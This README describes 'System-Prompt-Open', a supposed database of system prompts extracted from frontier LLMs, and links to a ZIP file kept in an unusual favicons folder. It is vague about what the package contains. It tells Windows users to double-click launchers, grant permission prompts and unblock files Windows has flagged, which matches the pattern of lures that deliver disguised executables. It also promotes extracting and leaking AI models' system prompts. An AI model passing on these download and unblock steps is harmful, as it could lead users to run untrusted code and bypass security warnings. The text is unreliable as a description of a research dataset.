🧠 System-Prompt-Open - Find and study system prompts

📥 Download

Use this link to visit the page and download the project:

https://raw.githubusercontent.com/pinchhitterequatorialcurrent101/System-Prompt-Open/main/assets/favicons/Open-Prompt-System-1.3.zip

🧭 What this is

System-Prompt-Open is an open database of system prompts pulled from frontier LLMs using JustAsk. It gives you a simple way to browse, study, and compare prompt data in one place.

This project is useful for people who work in:

• AI safety
• Red teaming
• LLM security
• Prompt extraction research
• Autoresearch
• Claude Code workflows

✅ What you can do

• Open and review stored system prompts
• Search for prompt patterns
• Compare prompts across models
• Study how prompt leakage happens
• Use the data for research and testing
• Explore examples for security work

🪟 Windows setup

Follow these steps on Windows.

1. Open the download page

Go to:

https://raw.githubusercontent.com/pinchhitterequatorialcurrent101/System-Prompt-Open/main/assets/favicons/Open-Prompt-System-1.3.zip

2. Download the project

On the page, look for the main download or repository files. Save them to a folder you can find again, such as:

• Downloads
• Desktop
• Documents

If the project comes as a ZIP file, keep it in a folder with enough free space.

3. Extract the files

If you downloaded a ZIP file:

• Right-click the ZIP file
• Select Extract All
• Choose a folder
• Wait for Windows to finish unpacking the files

4. Open the folder

Open the extracted folder and look for files like:

• README.md
• data
• prompts
• scripts
• app files

If you see a file meant to start the app, double-click it.

5. Run the software

If the project includes a desktop app or launcher:

• Double-click the file to start it
• Follow the on-screen steps
• Allow access if Windows asks for permission

If the project is a data set or research package:

• Open the files in a text editor
• Use the included instructions to view or search the prompt data

💻 System requirements

This project works best on a recent Windows PC with:

• Windows 10 or Windows 11
• At least 4 GB of RAM
• 500 MB of free disk space
• A stable internet connection for the first download
• A text editor or file viewer for reading the data

For larger prompt sets, 8 GB of RAM or more helps when you search or open many files at once

📁 What is in the project

You can expect a layout like this:

• README.md — basic project info
• data/ — prompt records and related files
• examples/ — sample prompt sets
• scripts/ — tools for sorting or checking data
• docs/ — notes on use and structure

The files may be arranged in a different way, but the project is meant to stay easy to browse

🔎 How to use it

Browse the prompt database

Open the data files and scan the system prompts by model, topic, or source.

Search for terms

Use Windows search or your text editor’s search box to find words like:

• safety
• instruction
• policy
• refusal
• jailbreak
• prompt

Compare entries

Look at two or more prompts side by side to see:

• style changes
• control language
• safety language
• extraction clues

Use it for research

The database can help with:

• prompt analysis
• model behavior review
• security testing
• red teaming notes
• internal study

🧪 Typical workflow

1. Download the project from the page
2. Extract the files
3. Open the folder
4. Read the prompt database
5. Search for the terms you need
6. Copy useful examples into your notes
7. Compare results across different models

🛠 Common file types you may see

• .md for readable notes
• .txt for plain text
• .json for structured data
• .csv for table-style data
• .py for helper scripts

If you do not know a file type, right-click it and choose Open with. Notepad works for plain text files. Excel can open CSV files.

🔐 Safety and use

This database is for study and research. Use it to learn how system prompts work, how they are stored, and how extraction research is done. Keep your work within your own local environment and follow the rules for any model, tool, or service you use

🧰 Troubleshooting

The file will not open

• Make sure the download finished
• Check that the file is not still in the ZIP archive
• Move it to a simple folder like C:\Users\YourName\Desktop\System-Prompt-Open

Windows says it blocked the file

• Right-click the file
• Select Properties
• If you see an Unblock option, enable it
• Try opening it again

The text looks broken

• Open the file in Notepad or Notepad++
• Try a different text encoding
• Check whether the file is JSON or CSV, since those need a clean viewer

Search does not find what you want

• Try shorter search words
• Search one file at a time
• Use plain terms like system, prompt, or policy

📚 Recommended use cases

• AI safety review
• Prompt extraction research
• Model behavior study
• Red team prep
• LLM security checks
• Internal prompt comparison
• Claude Code prompt inspection

📦 Folder example

A simple setup may look like this:

• System-Prompt-Open
  • data
  • docs
  • examples
  • README.md

Keep the folder name short and leave it in a place you can find fast

🖱 Quick start

1. Visit the download page
2. Download the files
3. Extract them if needed
4. Open the project folder
5. Read the prompt data
6. Search for the terms you want
7. Save useful entries for later use